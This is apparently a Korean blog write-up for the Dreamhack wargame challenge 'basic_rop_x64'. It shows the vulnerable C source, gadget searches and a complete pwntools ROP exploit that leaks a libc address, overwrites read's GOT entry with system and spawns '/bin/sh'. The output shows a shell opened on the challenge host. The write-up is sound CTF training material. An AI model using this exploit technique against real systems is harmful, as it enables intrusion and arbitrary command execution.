728x90
반응형
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
이 전 기본 문제에서는 주소를 하나하나 구해서 기입했지만, 이번에는 ELF 함수를 써서 조금 더 작성하기 쉽게, 보기 쉽게 코드를 짜보자.
전체적인 페이로드는
코드에서 read & write 시 read의 실제 함수 주소를 구하고 동시에 read 함수를 한번 더 실행하면서 read got에 overwrite할 준비를 하고, 다시 한번 read 함수를 실행하면서 system 함수의 주소와 /bin/sh의 문자열을 전달
하면 될 것이다.
ELF를 사용할 것이기에 필요한 것은 gadget 뿐이다.
┌──(kali㉿kali)-[~/Downloads/1]
└─$ ROPgadget --binary basic_rop_x64 | grep 'rdi ; ret'
0x0000000000400883 : pop rdi ; ret
┌──(kali㉿kali)-[~/Downloads/1]
└─$ ROPgadget --binary basic_rop_x64 | grep rsi
0x0000000000400715 : outsb dx, byte ptr [rsi] ; or dword ptr [rax], esp ; add byte ptr [rcx], al ; ret
0x0000000000400881 : pop rsi ; pop r15 ; ret
0x0000000000400737 : sal byte ptr [rcx + rsi*8 + 0x55], 0x48 ; mov ebp, esp ; call rax
앞선 문제와 마찬가지로 rdx는 찾기 어려운데 어차피 코드에서 read 및 write 함수가 각각 0x400, 0x40의 rdx 값을 가지고 있을 것으로 예상되기에 없는 상태로 해보자.
마지막으로 buf 변수의 위치 확인.
...
0x00000000004007e7 <+45>: lea -0x40(%rbp),%rax
0x00000000004007eb <+49>: mov $0x400,%edx
0x00000000004007f0 <+54>: mov %rax,%rsi
0x00000000004007f3 <+57>: mov $0x0,%edi
0x00000000004007f8 <+62>: call 0x4005f0 <read@plt>
0x00000000004007fd <+67>: lea -0x40(%rbp),%rax
0x0000000000400801 <+71>: mov $0x40,%edx
0x0000000000400806 <+76>: mov %rax,%rsi
0x0000000000400809 <+79>: mov $0x1,%edi
0x000000000040080e <+84>: call 0x4005d0 <write@plt>
...
이제 코드를 작성해보면
from pwn import *
p = remote('host3.dreamhack.games',18598)
#p = process('./basic_rop_x64')
e = ELF('./basic_rop_x64')
libc = ELF('./libc.so.6')
puts_plt = e.plt['puts']
read_plt = e.plt['read']
read_got = e.got['read']
rdi_ret = 0x0400883
rsi_r15_ret = 0x400881
dummy = b'A'*(0x40+8)
#print read got
pay = b''
pay += dummy
pay += p64(rdi_ret) + p64(read_got)
pay += p64(puts_plt)
#overwrite read got to system address
pay += p64(rdi_ret) + p64(0)
pay += p64(rsi_r15_ret) + p64(read_got) + p64(0)
pay += p64(read_plt)
#call read = call system with /bin/sh
pay += p64(rdi_ret) + p64(read_got + 8)
pay += p64(read_plt)
p.sendline(pay)
p.recv(72)
read_add = u64(p.recv(6) + b'\x00\x00')
p.recv(1)
system_add = read_add - libc.symbols['read'] + libc.symbols['system']
pay2 = b''
pay2 += p64(system_add) + b'/bin/sh'
print(hex(read_add))
print(hex(system_add))
p.send(pay2)
p.interactive()
┌──(kali㉿kali)-[~/Downloads/1]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 18598: Done
[*] '/home/kali/Downloads/1/basic_rop_x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/home/kali/Downloads/1/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x7efec7092250
0x7efec6fe0390
[*] Switching to interactive mode
$ id
uid=1000(basic_rop_x64) gid=1000(basic_rop_x64) groups=1000(basic_rop_x64)
$ cat flag
DH{----------#플래그는 삭제}
728x90
반응형
'Wargame > Dreamhack' 카테고리의 다른 글
fho (0) | 2022.07.27 |
---|---|
basic_rop_x86 (0) | 2022.07.25 |
rop (0) | 2022.07.20 |
Return to Library (0) | 2022.07.19 |
Return to Shellcode (0) | 2022.07.19 |